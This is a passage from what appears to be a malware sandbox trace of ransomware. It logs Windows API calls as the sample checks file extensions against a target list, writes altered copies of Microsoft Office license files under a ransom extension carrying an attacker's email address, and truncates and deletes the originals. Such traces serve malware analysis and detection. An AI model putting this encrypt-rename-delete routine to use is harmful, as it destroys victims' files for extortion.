(lpString=".doc") returned 4 [0243.419] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.419] lstrlenW (lpString=".docx") returned 5 [0243.419] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.419] lstrlenW (lpString=".pdf") returned 4 [0243.419] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.419] lstrlenW (lpString=".xls") returned 4 [0243.419] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.419] lstrlenW (lpString=".xlsx") returned 5 [0243.419] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.419] lstrlenW (lpString=".ppt") returned 4 [0243.419] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75 [0243.419] lstrlenW (lpString=".zip") returned 4 [0243.419] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.419] lstrlenW (lpString=".rar") returned 4 [0243.419] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.419] lstrlenW (lpString=".bz2") returned 4 [0243.419] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.419] lstrlenW (lpString=".7z") returned 3 [0243.419] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75 [0243.419] lstrlenW (lpString=".dbf") returned 4 [0243.419] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75 [0243.419] lstrlenW (lpString=".1cd") returned 4 [0243.419] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75 [0243.419] lstrlenW (lpString=".jpg") returned 4 [0243.419] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75 [0243.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75 [0243.420] lstrlenW (lpString=".doc") returned 4 [0243.420] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.420] lstrlenW (lpString=".docx") returned 5 [0243.420] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.420] lstrlenW (lpString=".pdf") returned 4 [0243.420] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.420] lstrlenW (lpString=".xls") returned 4 [0243.420] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.420] lstrlenW (lpString=".xlsx") returned 5 [0243.420] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.420] lstrlenW (lpString=".ppt") returned 4 [0243.420] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75 [0243.420] lstrlenW (lpString=".zip") returned 4 [0243.420] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.420] lstrlenW (lpString=".rar") returned 4 [0243.420] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.420] lstrlenW (lpString=".bz2") returned 4 [0243.420] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.420] lstrlenW (lpString=".7z") returned 3 [0243.420] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75 [0243.420] lstrlenW (lpString=".dbf") returned 4 [0243.420] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75 [0243.420] lstrlenW (lpString=".1cd") returned 4 [0243.420] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75 [0243.420] lstrlenW (lpString=".jpg") returned 4 [0243.420] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.420] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0243.420] lstrlenW (lpString="O365BusinessR_SubTrial-ppd.xrm-ms") returned 33 [0243.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0243.421] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=22466) returned 1 [0243.421] CloseHandle (hObject=0x560) returned 1 [0243.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ppd.xrm-ms")) returned 0x220 [0243.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0243.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0243.422] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0243.422] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0243.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0243.422] GetLastError () returned 0x0 [0243.423] ReadFile (in: hFile=0x560, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x57c2, lpOverlapped=0x0) returned 1 [0243.424] WriteFile (in: hFile=0x454, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x57d0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x57d0, lpOverlapped=0x0) returned 1 [0243.425] ReadFile (in: hFile=0x560, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0243.425] WriteFile (in: hFile=0x454, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x116, lpOverlapped=0x0) returned 1 [0243.425] SetEndOfFile (hFile=0x454) returned 1 [0243.425] CloseHandle (hObject=0x454) returned 1 [0243.426] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0243.426] SetEndOfFile (hFile=0x560) returned 1 [0243.431] CloseHandle (hObject=0x560) returned 1 [0243.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0243.431] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ppd.xrm-ms")) returned 1 [0243.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83 [0243.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83 [0243.432] lstrlenW (lpString=".doc") returned 4 [0243.432] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.432] lstrlenW (lpString=".docx") returned 5 [0243.432] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.432] lstrlenW (lpString=".pdf") returned 4 [0243.432] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.432] lstrlenW (lpString=".xls") returned 4 [0243.432] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.432] lstrlenW (lpString=".xlsx") returned 5 [0243.432] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.432] lstrlenW (lpString=".ppt") returned 4 [0243.432] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83 [0243.432] lstrlenW (lpString=".zip") returned 4 [0243.432] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.432] lstrlenW (lpString=".rar") returned 4 [0243.432] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.432] lstrlenW (lpString=".bz2") returned 4 [0243.432] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.433] lstrlenW (lpString=".7z") returned 3 [0243.433] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83 [0243.433] lstrlenW (lpString=".dbf") returned 4 [0243.433] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83 [0243.433] lstrlenW (lpString=".1cd") returned 4 [0243.433] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83 [0243.433] lstrlenW (lpString=".jpg") returned 4 [0243.433] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83 [0243.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83 [0243.433] lstrlenW (lpString=".doc") returned 4 [0243.433] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.433] lstrlenW (lpString=".docx") returned 5 [0243.433] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.433] lstrlenW (lpString=".pdf") returned 4 [0243.433] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.433] lstrlenW (lpString=".xls") returned 4 [0243.433] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.433] lstrlenW (lpString=".xlsx") returned 5 [0243.433] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.433] lstrlenW (lpString=".ppt") returned 4 [0243.433] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83 [0243.433] lstrlenW (lpString=".zip") returned 4 [0243.433] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.433] lstrlenW (lpString=".rar") returned 4 [0243.433] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.433] lstrlenW (lpString=".bz2") returned 4 [0243.433] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.433] lstrlenW (lpString=".7z") returned 3 [0243.433] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83 [0243.433] lstrlenW (lpString=".dbf") returned 4 [0243.433] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83 [0243.433] lstrlenW (lpString=".1cd") returned 4 [0243.433] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83 [0243.433] lstrlenW (lpString=".jpg") returned 4 [0243.433] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.433] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0243.433] lstrlenW (lpString="O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 36 [0243.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0243.434] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=11631) returned 1 [0243.434] CloseHandle (hObject=0x560) returned 1 [0243.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ul-oob.xrm-ms")) returned 0x220 [0243.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0243.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0243.441] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0243.441] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0243.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0243.442] GetLastError () returned 0x0 [0243.442] ReadFile (in: hFile=0x560, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x2d6f, lpOverlapped=0x0) returned 1 [0243.444] WriteFile (in: hFile=0x454, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x2d70, lpOverlapped=0x0) returned 1 [0243.445] ReadFile (in: hFile=0x560, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0243.445] WriteFile (in: hFile=0x454, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x11c, lpOverlapped=0x0) returned 1 [0243.445] SetEndOfFile (hFile=0x454) returned 1 [0243.445] CloseHandle (hObject=0x454) returned 1 [0243.445] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0243.445] SetEndOfFile (hFile=0x560) returned 1 [0243.447] CloseHandle (hObject=0x560) returned 1 [0243.447] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0243.447] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ul-oob.xrm-ms")) returned 1 [0243.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86 [0243.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86 [0243.448] lstrlenW (lpString=".doc") returned 4 [0243.448] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.448] lstrlenW (lpString=".docx") returned 5 [0243.449] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.449] lstrlenW (lpString=".pdf") returned 4 [0243.449] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.449] lstrlenW (lpString=".xls") returned 4 [0243.449] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.449] lstrlenW (lpString=".xlsx") returned 5 [0243.449] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.449] lstrlenW (lpString=".ppt") returned 4 [0243.449] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86 [0243.449] lstrlenW (lpString=".zip") returned 4 [0243.449] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.449] lstrlenW (lpString=".rar") returned 4 [0243.449] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.449] lstrlenW (lpString=".bz2") returned 4 [0243.449] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.449] lstrlenW (lpString=".7z") returned 3 [0243.449] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86 [0243.449] lstrlenW (lpString=".dbf") returned 4 [0243.449] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86 [0243.449] lstrlenW (lpString=".1cd") returned 4 [0243.449] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86 [0243.449] lstrlenW (lpString=".jpg") returned 4 [0243.449] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86 [0243.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86 [0243.449] lstrlenW (lpString=".doc") returned 4 [0243.449] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.449] lstrlenW (lpString=".docx") returned 5 [0243.449] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.449] lstrlenW (lpString=".pdf") returned 4 [0243.449] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.449] lstrlenW (lpString=".xls") returned 4 [0243.449] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.449] lstrlenW (lpString=".xlsx") returned 5 [0243.449] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.449] lstrlenW (lpString=".ppt") returned 4 [0243.449] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86 [0243.449] lstrlenW (lpString=".zip") returned 4 [0243.449] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.449] lstrlenW (lpString=".rar") returned 4 [0243.449] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.449] lstrlenW (lpString=".bz2") returned 4 [0243.449] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.449] lstrlenW (lpString=".7z") returned 3 [0243.449] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86 [0243.450] lstrlenW (lpString=".dbf") returned 4 [0243.450] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86 [0243.450] lstrlenW (lpString=".1cd") returned 4 [0243.450] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86 [0243.450] lstrlenW (lpString=".jpg") returned 4 [0243.450] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.450] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0243.450] lstrlenW (lpString="O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 42 [0243.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0243.451] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=11219) returned 1 [0243.451] CloseHandle (hObject=0x560) returned 1 [0243.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-pl.xrm-ms")) returned 0x220 [0243.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0243.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0243.452] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0243.452] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0243.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0243.452] GetLastError () returned 0x0 [0243.453] ReadFile (in: hFile=0x560, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x2bd3, lpOverlapped=0x0) returned 1 [0243.575] WriteFile (in: hFile=0x454, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x2be0, lpOverlapped=0x0) returned 1 [0243.604] ReadFile (in: hFile=0x560, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0243.604] WriteFile (in: hFile=0x454, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x128, lpOverlapped=0x0) returned 1 [0243.605] SetEndOfFile (hFile=0x454) returned 1 [0243.605] CloseHandle (hObject=0x454) returned 1 [0243.605] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0243.605] SetEndOfFile (hFile=0x560) returned 1 [0243.607] CloseHandle (hObject=0x560) returned 1 [0243.607] SetFileAttributesW 